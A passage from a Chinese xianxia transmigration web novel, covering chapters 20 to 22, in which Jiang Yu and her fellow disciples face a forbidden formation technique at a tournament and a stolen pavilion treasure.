刘苏叶笑着摆摆手,接过姜瑜递来的茶杯,轻抿了一口:“都是陈年旧事了,更何况你父亲陪你的时日本就不多,不知者无罪,这有什么礼不礼的。”
姜瑜弯唇微笑以作回应。
她确实从穿进来,未曾与她这个所谓的父亲见上一面,更别提能认识她父亲的至交旧识了。
刘苏叶指尖轻轻摩挲着茶盏,目光飘向窗外,语气染上几分追忆:“当年啊,你父亲姜远山,还有罗淮阳,我们三人可经常凑一块品茶鉴器。”
罗淮阳?
当今掌管紫星阁的现任掌门,罗淮阳?
姜瑜虽心有讶意,面上却不显,她再次为刘苏叶斟满了茶。
刘苏叶顿了顿,目光落在姜瑜脸上,似透过她看到了故人:“后来宗门事务渐多,我们才各自忙碌起来,见面的次数也少了。”
“你这模样长的倒更像你娘。”
“瞧着古巧精怪,却是个乖孩子。”
话音刚落,门外便传来赵清砚温和却又不失清晰的声音,言语间带着几分恭敬:
“刘长老,掌门那边已将手头事务处理妥当,此刻正往凝雪苑来,说是要与长老商议此次武道会比一事,让弟子先行过来告知您一声。”
“我知道了。”刘苏叶淡淡应了一声,指尖在茶盏沿轻轻划了圈,随即转向姜瑜,语气稍缓,
“既如此,老身还有要事相议,想来瑜儿从东原一道赶来也累了,不如且先回听雨苑歇着罢。”
“刘长老既有要事,晚辈自然不再打扰。”姜瑜顺势起身,对着刘苏叶微微欠身,“待您得空,我们再细聊往昔。”
姜瑜刚走出屋门,便瞧见院外的常青树旁斜斜靠着一抹熟悉身影。
应不妄一身墨衣衬得身形挺拔,双眼紧阖,直到姜瑜的脚步声靠近,他才缓缓掀开眼睫,眸光微眯,看向她的方向。
“在等我?”姜瑜走上前,眼底闪过一丝意外,随即被笑意掩盖。
应不妄从树干上直起身,唇角勾着点似有若无的弧度:“我这个疏于管教的师弟,也是生怕给师姐惹了什么麻烦,不跟来看看怎么能行?”
“师弟这是在怪我?”姜瑜眉梢微挑,上前一步。
应不妄抬眼,眸光清冷,却没多辩解,只简洁地吐出两个字:“不敢。”
话音落,他便转身往回廊那头走,没再看姜瑜一眼。
姜瑜缓步跟在应不妄身后,瞧着他刻意加快几分的脚步,眼底掠过一丝笑意。
她耐着性子迁就着他这点别扭的小脾气,半点不恼,只亦步亦趋地跟着,两人一前一后,朝着听雨苑的方向慢慢走去。
在此之前,裴恒之与沈晚宁已提前动身,前去嘱托青冥宗众弟子关于武道会比的各项事宜,当时那群少女吵闹时并不在听雨苑中。
在这个人生地不熟的地方,应不妄恰到好处的关心倒是为姜瑜心里增添了几分心安。
踏出凝雪苑时,姜瑜跟在应不妄身后走着,恰巧与一位身着素白长衫
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,腰间由着紫色腰带装饰的人相撞。
那人面上蒙着白纱,两人目光相视瞬间,便错身而过。
待人走远后,姜瑜收回目光,没心思细想,只稍停一瞬便快步跟上了应不妄。
*
夜色漫上紫星阁,可即便是再雅致的地方,也免不了虫鸣。几声鸣声从廊下的花丛里传出来,断断续续的,反倒让这夜显得不那么冷清了。
赵清砚先前派人来送的晚膳依旧整齐的摆放在桌上,瓷盘里的热意早已散尽,姜瑜却分毫未动。
她从无境回来后,发现修为一直停滞不前的原因不仅仅是自身水、雷双灵根相互牵制的缘故。
更有极大一部分原因是她这双灵根貌似存在残缺。
所以从凝雪苑回来后,她便一心沉浸于打坐调息中,试图借丹田灵力流动之时,慢慢梳理灵根的滞涩。
破空声倏然响起,她猛然睁眼,一枚银色暗器裹挟着风意直面袭来。
姜瑜眼睫微颤,身形未动,右手疾伸,二指稳稳扣住器身中段,力道在卸去暗器冲势的瞬间,暗器在指间微微震颤。
“在屋内呆了这么长时间,还不准备出来见见我吗?”姜瑜捏起那枚银色镖状暗器仔细端详。
“姐姐还是一如既往的厉害。”少年从屏风后探头而出,他环抱着手,毫不逊色的夸赞道。
姜瑜抬眼时愣了一瞬,少年眉眼清俊,额前的碎发垂落,偏生得一双桃花眼与应不妄颇有几分相似,少年唇角微弯,眼含笑意望向她。
“你是?”姜瑜不可否认是第一次见到这张脸,但单听着声音便觉得熟悉,她望着这张陌生的脸,不由蹙起了眉。
“这才多久没见,我的好姐姐便不记得我了?”少年故作失落,他低垂着眼,好一副叫人心生垂爱模样。
“是你?”
“这儿可不是你该来的地方。”只瞬间,姜瑜瞬影至方知有身前,将镖状暗器尖锐的一方直直抵在他脖颈处。
“这紫星阁你来得,为何我来不得?”方知有抬起指尖,将姜瑜抵在脖颈处的手轻轻移开,
“武道会比将至,紫星阁扬言凡是参赛者皆有器宝相赠,依姐姐所言,莫不是我们这些散修不配来分一份这好羮了?”
姜瑜收起暗器,盯着方知有的脸颊,似笑非笑,她转身来到桌前,将暗器甩在桌面,径自坐在那儿吃了杯茶。
方知有跟着她一同坐下,他单手撑着脸,笑意不减:“姐姐比我想象中还要漂亮。”
“少拍彩虹屁。”姜瑜没好气的回道。
方知有盯着他,笑意不减,直达眼底:“没想到姐姐竟如此无情,枉费我寻了你好长一段时间呢。”
“你找我干什么?”姜瑜随意夹了一口吃食,刚要塞进嘴里,突然想到了什么,又放了回去。
“我听说青冥宗也派了弟子来参加这武道会比,便四处寻人打听。”姜瑜眼皮微跳,便听方知有续而说道,
“若不是那叫‘沈晚宁’的实力远不如于你,弟弟这会估摸着便就认错人,唤别人姐姐了。”
“你说对吧?”方知有抬眼与姜瑜相视,狡黠一笑。
“姜、姐、姐。”
20. 为何来找我?
“奉劝你一句。”姜瑜垂着眼,指尖捏着茶壶柄为他沏了一杯茶,她将茶杯推至方知有身前时,茶水还隐隐冒着热气,“最好别动沈晚宁。”
方知有接过茶杯,晃了晃,浅浅抿了一口:“那倒不会。”
茶盏搁在桌案上发出轻响,他才慢悠悠补了后半句:“不过单看了她一眼,我便能看出姐姐要比她矮上一点。”
姜瑜:……
“我也不是很想知道后半句。”姜瑜含着笑意,将桌上的食盘尽数推到方知有身前,“弟弟在我屋内潜伏了这么久,想必也饿了吧。”
方知有低垂着眼看向那些已经凉掉的饭菜,又慢腾腾的喝了一口茶水,开口道:“之前没看出来,姐姐原是如此关心我呢。”
“那是自然。”
“师姐。”门外忽然传来沈晚宁的声音,伴着三下轻缓又带着点迟疑的叩门声,“师姐您在屋吗?明日便是武道会比了,我...有点紧张。”
沈晚宁是后来才加入青冥宗的,她虽天资聪颖,但也只是在勤奋修炼后才达到筑基后期,离修成金丹仅有一步之遥,如今也不过是新入门弟子中较为出众的一个。
而武道会比,是每位弟子都将参与的一道比试。
姜瑜顿了顿,抬头时正巧瞥见方知有嘴角还噙着笑意,也丝毫没有要走的意思。
“你从哪来的就从哪走行吗?”姜瑜拧着眉,小声开口。
“我这才坐了多久,姐姐这么着急赶人走啊?”方知有学着她小声说话的样子,面上笑意只增不减,陡然一副坏事做尽、在一旁幸灾乐祸看好戏的样子。
“师姐?”门外的沈晚宁见屋内没有回应,小心翼翼的再次唤了一声,声音比刚才轻了些,带着几分不确定。
只听她抬手碰了碰门板,又轻轻收回,小声嘀咕道:“奇怪,今日师姐怎么这么早就歇下了。”
“沈晚宁?”应不妄的声音从屋外传来,听不出什么情绪。
“应师兄...”沈晚宁叫道,她扭头看了看紧闭的屋门,有转头看向应不妄,眉头紧紧锁着。
“你来找我师姐有什么事吗?”应不妄走近她,开口时声音清晰朗口,丝毫没有要压低声音的意思。
“没、没,就是...”沈晚宁说话磕磕绊绊,她从刚开始见到应不妄时,就觉得她这个师兄不太是个好相处的。
“哦。”应不妄越过沈晚宁,抬手抵上屋门,毫不掩饰的看着她,似乎在说,那你怎么还不走。
“我、我这就走...”沈晚宁低着头没赶看他,作势就要离开。
“师弟。”屋内的姜瑜的声音骤然响起,她开口时嗓音带着些许沙哑,“师妹才入我青冥宗不久,你不要欺负她。”
要不然你以后倒追女主的时候,可别怪师姐我没提醒过你。
“等我起身穿好衣服再给你们开门。”姜瑜随后应声道。
方知有看着她那穿戴整齐的翠色罗绮裙默不作声,依旧丝毫没有要动身离开的意思。
姜瑜将最后一口茶喝掉,温茶入嗓,她拿起一旁的暗器,以方知有的方式甩还给了他。
方知有接下暗器,只见姜瑜站起身来,俯视着他,对他说道:“若弟弟还想着能拿一份这武道会比的羮,识相点,就抓紧时间离开我这儿。”
“倘若弟弟并不将这羮放在眼里...”姜瑜停顿片刻,眼里逐渐浮现出一抹杀意,
“我也不介意现在就揭发弟弟不安好心、妄图潜入屋内刺杀青冥宗弟子的罪名。”
“反正我的师弟师妹都在外头,量你也打不过我们三个。”她轻轻拍了拍手,指尖还沾着几分未散的薄力,随即单手稳稳按在他的肩膀上,
“总之呢,不管弟弟此行有什么目的,最好别在我眼皮子下惹事。”
“这么不欢迎我?”方知有掀了掀眼皮,仔细揣摩着手中的飞镖,“仔细想想,我可算帮了姐姐不少大忙呢?”
“这叫什么来着?”
“过河拆桥?”
“你会欢迎一个处处都要置你于死地的人吗?”姜瑜也不管他,语气里带着几分凉薄,转身便朝屋门走去。
“大晚上的不睡觉,一个个的都来找我做什么?”姜瑜懒懒的打了个哈欠,余光瞥到屋内时,嘴角不自觉的扬了起来。
在她打开屋门的一瞬间,屋内早已不像是曾有人来过的痕迹,就连方才那盏带着余温的茶杯,也被放还到了原处。
“师姐。”两人异口同声,互相对视一眼,应不妄抢先道,“我有几道阵法没理清楚,想来找师姐请教一番。”
“明天武道会比,我有点紧张,睡不着觉,想来找师姐寻个心安。”沈晚宁顺势接着说道。
姜瑜抬眼,目光在他们二人之间来回扫了扫,眉梢微挑,“都进来吧。”
待两人先后落了座,她才指尖搭着桌沿轻叩两下,似笑非笑地开口:“之前不见你们这么积极,更何况裴师兄懂得可不比我少,为何都不去找他?”
“你是我的直系师姐。”
头一次听见这么奇怪的用词。
你自己听着不想笑吗?
见应不妄用着这么蹩脚的理由时,沈晚宁看了他一眼,旋即立马用力点头,学着应不妄的样子重复道:“你是我们的直系师姐。”
姜瑜有点好笑的扫了他们一眼,两人皆是脸不红心不跳,她扣了扣桌子,说道:
“我的...直系师弟,你且说说你对阵法,是阵眼排布不清,还是灵气流转不顺,都跟我说说。”她话锋一转,看向师妹,
“而我的直系师妹,你呢,在一旁学着,以备明日的不时之需。”
……
窗外的月色渐深,烛火燃得只剩半寸,姜瑜在宣纸上勾出最后一条线后,才抬手伸了个懒腰,肩颈处传来轻响。
“时候不早了,师姐早些休息吧。”应不妄顺势抬手收起桌案上涂涂改改的宣纸,起身扫了一旁困的直打盹的沈晚宁。
沈晚宁会意,猛地起身,连忙点头附和:“师姐早点休息,我跟应师兄先回房啦!”
姜瑜指尖按在太阳穴上轻轻揉着,眉宇间还凝着几分倦意,只摆了摆手,“回去吧,记得帮我把门带上。”
木门合上时发出轻响,姜瑜睡眼朦胧的看着桌上的烛光,她打了个轻哈欠,撑着桌沿起身,脚步虚浮地往床榻走。
*
武道会比将至,晨时,雾气还未散尽,
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紫星阁却已将擂台搭建完成。
姜瑜、应不妄与沈晚宁三人眼下各自顶着大小不一的乌青,浑身无精打采。
“你们昨夜干什么去了?”裴恒之手中握着佩剑,在见到他们时眉头微蹙,“怎么搞成这副样子?”
“裴师兄。”沈晚宁揉了揉眼角溢出的泪滴,她颇有几分无辜的看向裴恒之,“我昨晚同师兄姐们研究阵术了,才睡的晚了些。”
裴恒之扫向他们三人——姜瑜落座后便一直在打盹,应不妄则黑着脸,盯着乌青的眼圈紧闭着双眼,再看沈晚宁,她正傻傻的冲自己笑着。
裴恒之索性落了座不再去看他们,心中只道是恨铁不成钢,眼不见心不烦。
武道会比试原是给各宗派新入门弟子练手的,比的是初入门的底子与应变,自然轮不到姜瑜等人插手。
她只需要在一旁看着,必要时协助紫星阁维护现场秩序即可。
“本此由我紫星阁操持的武道会比,现在正式开始!”主事长老的声音裹着灵气传遍全场,话音未落,第二声铜锣轰然炸响。
随着铜锣敲响,姜瑜也打了几分精神,最先上场的两名弟子已掠至擂台中心,他们皆是无门无派的散修,剑光刚起便带起一阵风,连台下弟子的发丝都被风拂得动了动。
两人打的难舍难分,姜瑜看的入神,却只听一旁应不妄冷声开口:“不过是一些中看不中用的旁门左道。”
姜瑜斜眼撇过去,毫不留情的说道:“你倒会说风凉话,来跟师姐讲讲,当初你武道会比时拿了第几?”
应不妄闻言一顿,抬眼时扭头看向身侧:“师姐不提我都差点忘了,当年我在会比上拿第一时,师姐没去看。”
“……”
好吧我闭嘴。
姜瑜闻言,嘴角扯了扯,尽力扯出一个微笑,只见她神色僵硬的扭回头,重新直视前方,此时台上两人早已决出了胜负。
应不妄却不想就此作罢,他指尖微微收拢,单手握拳撑在太阳穴旁,目光仍落在她侧脸上,语气不轻不重的继续追问道:
“师姐你说,曾经一点闲事都懒得插手的人,是从什么时候开始,喜欢什么热闹都要凑上一凑了?”
姜瑜抬手拿起事先备好的茶水,往嘴边送了一口,她回道:“人都会变的,师弟,时间久了,人都会变的。”
她重复了两遍。
第一遍是在告诉应不妄。
而第二遍,她是在提醒自己,她不是他的正牌师姐。
应不妄轻笑一声,自觉没再继续追问,只缓缓收回落在她侧脸上的目光,重新转向擂台。
连着几场下来,很快便轮到了沈晚宁,她上台前姜瑜还握着她的手,给予肯定的点了点头,提醒她莫要轻敌。
对方一身素色衣袍衬得身形更显清瘦,谁料他刚站上擂台,手抬起落,竟凭一己之力布起了阵法,速度之快,台下之人一时间看的入神,全都屏息凝神,一片寂静,没人讲话。
沈晚宁下意识握紧手中佩剑,看着阵法初起,足尖轻点往后退了两步,阵内风势渐起,细小的灵光碎片在台上流转。
裴恒之见状皱紧了眉头,声音里难得的带了几分凝重:“破杀阵。”
21. 噬阵诀
破杀阵,阵法及其繁琐,寻常至少需得三四人才可将其催动运行。一旦阵法启动,灵光将会在其范围内形成一道屏障。
被困之人若想强行破阵,不仅要精准找到并破坏三处隐藏的阵眼,还要抵御阵法持续释放的攻击,若稍有不慎便会被剑气所伤。
历来闯阵者多是不死即伤,极少有人能全身而退。
眼前之人仅凭一己之力便能起阵,实力自然不容小觑。
姜瑜压下嘴角,不动声色的向擂台上看去。
好爽,有一种孩子高考,老师压中题的爽是怎么回事?
应不妄似乎也察觉到了擂台上的动静,昨日夜里他随意找的多重阵图中,便有破杀阵。
而姜瑜在此之前,很早就发现这破杀阵威力虽大,需得多人共同起阵。
但若是危机情况下,想仅凭一人起阵的话也并非不可——
起阵之人只需以自身丹田为器,强行将游于自然中灵力与阵图上的三处阵眼串联一起即可,而这种做法对起阵之人要求极高。
起阵速度必须要快,起阵后,每多撑一炷香,丹田内便会抽取起阵之人的精力与体力。
是以,单人起阵,必须速战速决,绝不能给对手拖延的机会。
沈晚宁被阵中接连席卷而来的攻击,她连连往后退了几步。
紧接着,她腕间一沉,将长剑拄于地面作支撑,同时急转丹田灵气,指尖翻飞间数道黄符凭空浮现。
眨眼间,她周遭便形成一道密不透风的淡金色保护罩,将阵中不断袭来的锐芒尽数挡在罩外。
沈晚宁在阵中闭上眼,任由丹田灵气顺延而下旋即蔓延开来。
只瞬间,她猛地睁开双眼,只见她足尖轻点地面,右手长剑未出,左手已然捏着黄符顺手打向左侧第三块青石板上。
一声轰响过后,阵内的攻势减弱了许多,沈晚宁趁机将剑飞出手去,距离那身着素色衣袍之人仅隔一圈的地方停了下来、悬于空中。
“我输了。”刘玉收回法阵,随即抬手拱手,姿态利落又坦荡。
“承让。”沈晚宁手腕轻转,长剑归鞘时发出一声清越的轻响,她扭头朝姜瑜的方向会心一笑。
倏忽间,一道暗青色灵气,趁着刘玉收回最后一丝法阵的空隙,穿透层层人群,直冲擂台。
姜瑜率先腾空而起,长剑应势转落手中,斩断暗青色灵力的攻进。
与此同时,擂台上的阵法以惊人的速度再次被搭建而起,这次相比往前的更加强势。
“噬阵诀。”人群中有人指着擂台上惊恐的喊道,“这不是早就沦为我洲大陆禁术,失传了吗?”
紫星阁坐镇长老循声望去,见那法阵裹着暗芒流转,眉峰骤然拧紧。
她手握剑柄,正要要提剑斩断这阵法,却被困于镇内的姜瑜应声打断:“先别动!”
“单人所搭的法阵本就与施阵者心神相连,只可从内而破,若是外头强行攻破,无论是布阵之人,亦或是困阵之人都只会遭到反噬。”
姜瑜在擂台上稳稳落定,指间已凝聚出一抹灵气,形成一道透明的圆形护罩,将她与沈晚宁、刘玉三人稳稳圈在其中,护罩边缘还泛着细碎的蓝光。
“更何况这法阵被噬阵诀强行重布,长老您此刻出剑,那布阵之人承受不住攻势,只会当场毙命。”
再看此时的刘玉,他早已承受不住,额角处冒出细密的汗珠,脸色泛着一层苍白,显然是被噬阵诀反噬的力道压得快撑不住了。
“师姐,那我现在应该做点什么?”沈晚宁话音未落,指尖顺势也凝出一道灵气,注入护罩之中。
姜瑜目光扫过阵内不断收缩的暗青色阵纹,突然看向沈晚宁:
“你方才破阵时对这里的灵气流动最敏感,能不能试着重新探出这逆阵的其他两处阵眼。”
“好!”沈晚宁重重点头,当即屏息凝神,再次将丹田内的灵力顺延而下,“找到了。”
沈晚宁收回灵力,睁眼的同时,两道黄色符纸顺手而出,直击其他两处阵眼。
结界晃动的瞬间,姜瑜立刻抓住机会,手中长剑应势飞转,斩破了这道破杀阵。
与此同时,刘玉突然身子一晃,他来不及抬手遮挡,一口鲜血便喷溅而出,染红了身前的青砖。
姜瑜足尖在一旁的石柱上借力一蹬,腾空而起,长剑入手的瞬间,她旋身调整姿态,衣袂在空中划出一道利落的弧线。
下一刻,她落地时却因方才阵中耗损的灵力过多,退下一软,单膝跪于地上,浅色裙摆擦过地面,溅起少许尘屑。
她垂眸稳住气息,握剑的指节泛白。
“师姐!”沈晚宁赶跑着走近,稳稳扶住了姜瑜,堪没倒下,她紧拧着眉,抬眼时裴恒之也正往他们的方向赶来。
“姜师妹、沈师妹,你们没事吧?”裴恒之弯下腰,与沈晚宁一同将半跪在地的姜瑜扶起来。
沈晚宁摇着头,泪水早已在眼眶内打着转,这一幕恰被起身姜瑜见到,她不禁觉得好笑,打趣道:“哭什么?受伤的又不是你。”
沈晚宁被说的脸上微热,抬手在脸上胡乱擦了擦,开口时还带着鼻音:“都怪我...”
姜瑜歪头看向她,问道:“是怪你让别人将那噬阵诀学了去,还是怪你让刘玉不顾危险单人起阵的?”
“师姐...”沈晚宁扯了扯她的袖口。
姜瑜抬手摸了摸她的头,安慰道:“好啦,这不是都没事嘛。”
她转念一想,朝着看台处某一方向看去,空座无人,“裴师兄,怎么不见师弟,他人呢?”
“应师弟从阵起时,就已经提剑去找那放诀之人了。”裴恒之待姜瑜稳稳站定后,便收回了搀扶着她的手。
姜瑜突然想到了什么,疑惑片刻后,便侧身抬头看向高她不少的裴恒之,“你是说他去找那放诀之人了?”
“嗯。”
“你是说、应不妄、去找那放诀之人了?”
裴恒之循着姜瑜的目光看回去,他掀了掀眼皮,问道,“有何不妥吗?”
“你为什么没去?”姜瑜问。
“我...应该去吗?”裴恒之答。
“不是,等会儿。”姜瑜抬起一只手,另一只手搭在沈晚宁胳腕上借力,“让我捋捋。”
原书中应该是坐镇长老把沈晚宁与刘玉从阵中救出,因着反噬,刘玉当场暴毙身亡。而裴恒之则去追放禁诀之人了,并
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不在场。
现在救下沈晚宁的是她姜瑜,而刘玉他也没死成,裴恒之也没去追人,反而应不妄去了?!
不能全是她自己搅的这剧情吧?
蝴蝶效应怎么能连八竿子也打不着的给效应起来??这不科学!!!
那按照剧情来说,现在应该是——
“诸位。”刘苏叶的声音裹着浑厚灵力,穿透擂台内外的嘈杂,清晰落在每个人耳中。她身形立于看台之上,神色凝重,
“武道会比暂停比试,我紫星阁镇阁之宝鸣月玉笙,遭贼人暗中觊觎,现已不见踪影。”
她顿了顿,又道:“为彻查玉笙失窃一案,揪出幕后贼人,还紫星阁与诸位一个公道,望大家多体谅海涵。”
“我与掌门再三考虑后,已下令阁中弟子即刻封阁,严守各出入口,在此期间暂请诸位留居阁内,待查明真相后再作安排!”
“先是禁术,再是宝器被盗,这明摆着是冲紫星阁来的。”台下瞬间哗然。
“不行,小爷可没偷你们那宝贝,我媳妇还等着我回家洗衣做饭呢,小爷可没空陪你们耗。”其中一位散修说道,作势要往阁外大门走。
刘苏叶只一记眼神,那人便又缩了回去,唯唯诺诺的开口道:“我送个传讯符总可以吧?”
姜瑜松开沈晚宁的手,此刻她体力已恢复完好,只见她提剑就走,沈晚宁忙跟在她身后,问道:“师姐要去哪?我同你一起。”
“去找师弟,你在这跟裴师兄等着消息。”姜瑜停顿片刻,补充道,“我去去就来,你们不要担心。”
“姜师妹。”裴恒之几步跟上,他指尖揣摩着剑身,几番犹豫后开口,“我与你一道,那噬阵诀非同小可,让沈师妹一人在此休整等候消息即可。”
姜瑜背对着他们,微微侧了侧头,此刻她喉咙干哑的难受,便只点了点头,默许了他的此番提议。
行至紫星阁阁门时,他们二人被内门弟子拦了去路,裴恒之上前现实拱手一礼,旋即说道:
“噬阵诀一事尚有蹊跷,我们乃青冥宗弟子,裴某现要与师妹一同去追查此事,待我们找到师弟,便自行赶回来。”
“原是青冥宗而来的弟子,失礼了。”为首的弟子拧着眉,她面露难色,扫了他们一眼,旋即开口,
“这也是掌门与诸长老的意思,望两位不要为难我们。”
“事后我亲自去向罗掌门与诸长老请罪。”姜瑜向前两步,开口说道,“现下师弟生死未卜,麻烦各位行个方便?”
“即便这样,我们也不能平白将你们放行。”后面另一位弟子见为首的犹犹豫豫,便先行上前一步,
“刘长老有令,封阁期间任何人不得擅自离阁,那便不得离阁!”
只见她指尖轻弹腰间玉磬,伴随着一声清鸣散开,淡紫音波在身前凝成半透明屏障,挡住两人去路。
“得罪了。”裴恒之抱剑而出,剑鞘在掌心一转,剑身旋即出鞘,他未直刺,而是贴着地面划出一道弧线,将弟子们布下的音波屏障暂时钉在原地。
姜瑜也顺势拔出长剑,她目光扫过拦路的弟子,语气不卑不亢:“并非有意违逆贵阁规矩,我与师兄也是救人心切。”
22. 我需要师姐
恰巧此时裹挟着一道灵力醇厚的传讯符应声飞来,符纸在空中微微震颤后,刘苏叶的声音便顺着灵符从中传来:
“若是青冥宗的裴少侠,老身自然信得过,不过今日不同往时,阁有阁规,我紫星阁镇阁至宝鸣月玉笙既不见踪影,不保放诀之人与追诀之人有互相勾结的嫌疑。”
“绝不可能是我师弟。”姜瑜笃定回道。
符纸那头静了片刻,旋即传来一声微不可查的叹息声,只见刘苏叶妥协道:“也罢,那就让常远随你们一同去吧,路上好相互有个照映。”
话刚一落,不远处未见其人先闻其声,再扭头就见常远一手捂着屁股,一手揉着腰,龇牙咧嘴地往这边赶,老远就扬着嗓子喊:“裴兄!”
裴恒之忍不住问他:“你这是怎么了?”
“可别说了...”常远凑过来,挠了挠后脑勺,“在饭堂正吃的好好的,莫名被师姐踹了一脚,让我赶紧往阁门赶,也没说让我干啥,到了这儿就碰到裴兄你了。”
裴恒之白了他一眼,旋即转头看向,方才要与他们动手的弟子们,“诺,你们长老发话了,让你带我们出去。”
“并监视我们。”姜瑜抱着剑没好气的扫了他一眼,补充道。
*
紫星阁四面环山,再往南是一片密不透风的竹林,竹影森森,常年不见人烟,只偶尔有鸟兽出没。
应不妄在姜瑜跃上擂台之前就发觉了这道邪气,他提剑顺着气息追了一道,却在竹林边缘断了联。
此刻他握紧手中的剑,抬眼扫视了周遭一圈——
竹叶在风里簌簌作响,追来时明明是白日,林深处却透着股说不出的阴冷。
“不过是些上不得台面上的小伎俩,真当自己偷摸着学了点禁术,就能在我面前晃了?”说罢,应不妄唇角勾起一抹淡笑,往前踏了半步。
伴随着他指尖灵力微动,四周顺势幻变出几道黄色符纸,随着几道咒诀应声而下,藏拙于周遭的邪魔之气瞬间显现出来,慌忙四散。
应不妄双指一捏,目标明确,直接瞬至那放诀人跟前。
那人见状眼底尽显慌乱,周身黑气瞬间簌簌外泄,他往前蹿了几步便踉跄着摔在地上,旋即磕磕绊绊道:“你、你你你你!”
应不妄缓缓蹲下,不经意地将符纸甩至身后,那符纸脱手而飞,将四散的邪魔之气瞬间剿灭。
“我怎么了?”他语调懒怠,手搭在那人肩上,指尖顺着肩线不经意的缓缓滑向脖颈。
直到他听见身后传来细碎的脚步声,手劲骤然一收,随着一声轻响,那人连惨叫都来不及发出,便化作黑烟消散于空中。
他指尖灵力一聚,在空中画出一道符咒,待最后一笔落下时,那咒术只瞬间尽数落在他身上。
应不妄吃痛,闷哼一声,嘴角旋即溢出一抹不起眼的鲜血。
他站起身,随意的拍了拍手上蹭落的灰尘,转身时正巧撞见姜瑜一行人赶过来。
他抬眼扫过姜瑜身后的两人,眉梢微挑,开口时带有几分意外:“师姐?”
“你可有受伤?”姜瑜上前一步才看清他嘴角处一抹血迹,刚要上手为其拭去,却被应不妄先一步抬手,用指腹随意蹭了蹭。
“刚处理完。”应不妄往后退了半步,刻意与姜瑜拉开距离,而后解释道:“离我远点。”
“身上脏。”
裴恒之上前一步,目光扫过四周残留的黑气,沉声问道:“他身上可有鸣月玉笙?”
应不妄抬眼撇了一眼他们身后一直没有开口的常远,目光只在他脸上停了一瞬,便转回头看向裴恒之,两手一摊,说道:
“他身上除了一身的禁术,什么也没有。”
“怎么?”话音刚落,他话锋一转,视线再次落向常远,“紫星阁的鸣月玉笙丢了?”
“确实有人趁乱盗走了鸣月玉笙。”裴恒之皱着眉应声答道。
“哦。”应不妄随意的应了一声,转身后头也没回的往回走,“那紫星阁他们还挺倒霉的。”
姜瑜站在原地,看了一眼裴恒之又看看常远,旋即凑到裴恒之身侧,捂着嘴悄悄问道:“他俩之前是不是有过什么仇啊?”
裴恒之应声转头看向一脸八卦的姜瑜,轻叹了口气,摇头道:“未曾听说应师弟与常远兄结过怨。”
姜瑜闻言啧了一声。
不是你这人说话能不能小点声。
你是生怕常远听不见我蛐蛐他吗?
故意的!绝对是故意的!!
“我也懒得掺和你们紫星阁的事,祝你们早日找到宝贝。”应不妄挥了挥手,话落时,已走出数丈远,还不忘补充道,
“我得回宗了,师父这么长时间没见我,肯定想我了。”
常远手握佩剑,瞬间移至应不妄身前时,长剑已出鞘半截,他开口时语气冷硬:“掌门有令,鸣月玉笙未寻回,谁都不准离开紫星阁。”
应不妄抬眼望向身前挡路的常远,不经意的弯了弯唇:“合着你们紫星阁怀疑是我偷的?”
常远拿剑的手一顿,他看向不远处的裴恒之,语气稍缓,旋即说道:
“并未,只是应少侠说将人解决了,可现场连尸体的痕迹都没有,常某若就此作罢,实在无法向掌门交代。”
“你们还怀疑我跟那畜牲是同伙?”应不妄没正面回答,只微微挑眉梢,冷哼一声后反问道,
“一群废物看不住一件鸣月玉笙,竟还有脸让我跟你们回去浪费时间?”
“应不妄!”常远手腕一翻便将长剑抽离剑鞘,剑尖稳稳停在应不妄身前寸许处,语气带着怒意,“你嘴巴放干净点。”
姜瑜行至应不妄身侧,抬手将剑尖往别处移了片分:“常少侠,看着你我两派交情匪浅的份上,我们青冥宗协各弟子愿意接受你们的调查。”
“但你们拿着剑指着我们自家人,这就有点不地道了吧?”她虽以开玩笑的口吻说出的这话,抬眼时眼神似冷,言语间却丝毫毫不客气。
应不妄唇角微勾,挑衅的看向站在他们面前的常远,突然胸内一股腥气翻涌直上,偏头时再次咳出了一口鲜血,甚至有几滴还溅在了他的剑身上。
“师弟?”姜瑜忙伸手扶住他,裴恒之在
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身后也三步跨两步的快步走上前说道:
“常远兄,我知晓应师弟的品行,此事段不可能是他所为,若你们紫星阁当真要把主意打到他身上,给我们青冥宗扣上这锅,那你们便也就休怪我不念及旧情。”
“裴兄!是他辱我门派在先!”
姜瑜想着裴恒之与常远的交情,抢先一步开口道:“够了,是你们污蔑师弟在先的。”
“我们跟你回去就是,师弟现在需要养伤...”
*
应不妄因着身上的咒术缠身,从他们刚踏入紫星阁时便痛昏了过去。
此时的夜已深透,连虫鸣都淡了下去。
应不妄再度睁眼时,便看见了守在他身旁打着盹的姜瑜。
他借着被褥的支撑,轻轻的侧过身,一只手轻搭在额前拄着头,视线静静落在姜瑜打盹的模样上,眼底落了丝不易察觉的柔和。
烛火在案头跳着微光,将姜瑜垂落的鬓发染成暖金色,应不妄看着看着突然轻笑出声来,恰巧惊醒了打着盹的姜瑜。
只见姜瑜猛地惊醒,眼神中还带着几分茫然,抬眸时恰好撞进应不妄带着笑意的眼眸里。
她还没完全回神,开口时声音带着刚睡醒的沙哑:“你醒了?”
“嗯。”应不妄也哑着嗓子,淡淡的应了一声,目光落在姜瑜脸上。
“我去给你倒杯水。”姜瑜揉了揉双眼,眼底还浮着层淡青,她刚要起身,却被应不妄鬼使神差的一把抓住。
微愣片刻后,他哑着嗓子说道:“我不喝,你陪我呆会。”
姜瑜指尖的一抹温度顺着应不妄的手心缓缓漫开,他慌忙抽回手,旋即别开眼,目光落在案头跳动的烛火上:
“被这符咒扰的心烦,师姐且陪我呆会,我自己一个容易分神。”
姜瑜重新坐回榻边,身子微微前倾,抬眼时眼底的倦意淡了些:
“师弟此番受了那斯的禁咒,万幸并无大碍,至于今日常远一事,大概率是紫星阁刘苏叶长老的安排,我跟裴师兄今夜过后,便去找她理论。”
“我们青冥宗好歹是东原一大宗门,怎可让师弟平白受罪,这事绝不能就这么算了,断没有让人欺负到自家头上还不还手的道理。”
应不妄轻笑一声,案头烛火明明灭灭,暖黄的光漫在两人脸上。
他喉结轻轻滚了滚,抬手时将姜瑜垂落在颊边的一缕碎发别到了耳后,旋即开口道
“以后这种事,师弟自己可以解决。”
“我可以理解为...”姜瑜指尖轻轻蹭过衣料,嘴角扯出一抹浅淡的弧度,问道,“师弟是不需要师兄师姐的意思吗?”
“不可以。”应不妄躺回床上,双手随意抵在脑后,指节还带着点刚醒的薄红。
他抬眼望着帐顶,声音褪去了平日的清冷,难得比往常温和许多,“我需要师姐。”
“我需要师姐永远站在我这边。”
“那师姐便永远站在你这边。”姜瑜站起身,笑着为他掖了掖被角,
“好好睡一觉吧,要是觉得被咒扰的难受你就叫我,我不走。”
23. 跪下来道歉?
